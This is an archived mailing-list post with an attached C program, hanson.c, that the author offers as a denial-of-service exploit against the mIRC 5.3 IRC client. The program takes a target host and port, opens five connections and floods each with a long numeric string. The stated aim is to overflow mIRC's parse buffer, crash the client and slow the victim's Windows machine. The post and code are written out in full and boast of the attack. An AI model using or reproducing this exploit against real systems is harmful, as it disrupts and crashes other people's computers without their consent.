--=====================_881565706==_ Content-Type: text/plain; charset="us-ascii" Hi, The past week many people have downloaded the long awaited mIRC 5.3 and have done many nice things with it in the way of socket scripting.. Below is a program that will exploit mIRC's new socket feature and crash the client and make the windows95/NT environment run very very slow (Pentium will now be sluggish as a 286). By the way, I have ported the src to win32 binary executable which works aswell. I would like to address the author of mIRC (Khaled) : Maybe you should add me to your beta list.. hehe. keep it real myn@efnet ------- hanson.c ------------ --=====================_881565706==_ Content-Type: text/plain; charset="us-ascii" Content-Disposition: attachment; filename="hanson.c" /* hanson.c - by myn with help from h2o and watcher *thanks* This lil program exploits mIRC's bound sockets, making the client crash mIRC can handle a mass influx of data but cannot handle strings of data that are parsed internally through mIRC. This program forces mIRC to parse incoming data and identify it, the result from the parse is larger then mIRC's buffer string size, thus making the client crash :). This will create 5 connections to the bound port and then send the string. Its like sending double "int" when you only had 1 bit to work with! hanson.c is dedicated to all the lil 13 to 16 year old geeks (abyss) that are in love with those cute boys.. myn@efnet */ #include <stdio.h> #include <string.h> #include <netdb.h> #include <netinet/in.h> #include <sys/types.h> #include <sys/socket.h> #include <unistd.h> int x, s, i, p, dport; /* SET STRING HERE */ char *str = "9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 * 99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999"; struct sockaddr_in addr, spoofedaddr; struct hostent *host; int open_sock(int sock, char *server, int port) { struct sockaddr_in blah; struct hostent *he; bzero((char *)&blah,sizeof(blah)); blah.sin_family=AF_INET; blah.sin_addr.s_addr=inet_addr(server); blah.sin_port=htons(port); if ((he = gethostbyname(server)) != NULL) { bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length); } else { if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) { perror("gethostbyname()"); return(-3); } } if (connect(sock,(struct sockaddr *)&blah,16)==-1) { perror("connect()"); close(sock); return(-4); } printf(" Connected to [%s:%d].\n",server,port); return; } void main(int argc, char *argv[]) { int t; if (argc != 3) { printf("hanson.c - myn@efnet\n\n"); printf("This lil program exploits mIRC's bound sockets, making the client crash\n\n"); printf("Usage: %s <target> <port>\n",argv[0]); exit(0); } printf("hanson.c - myn@efnet\n\n"); for (t=0; t<5; t++) { if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror("socket()"); exit(-1); } p = atoi(argv[2]); open_sock(s,argv[1],p); printf(" Sending string 1ooo times to %s port %i... \n", argv[1], p); for (i=0; i<1000; i++) { send(s,str,strlen(str),0x0); } printf("mmmmb0p.\n"); } close(s); } --=====================_881565706==_--
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:37:17 PDT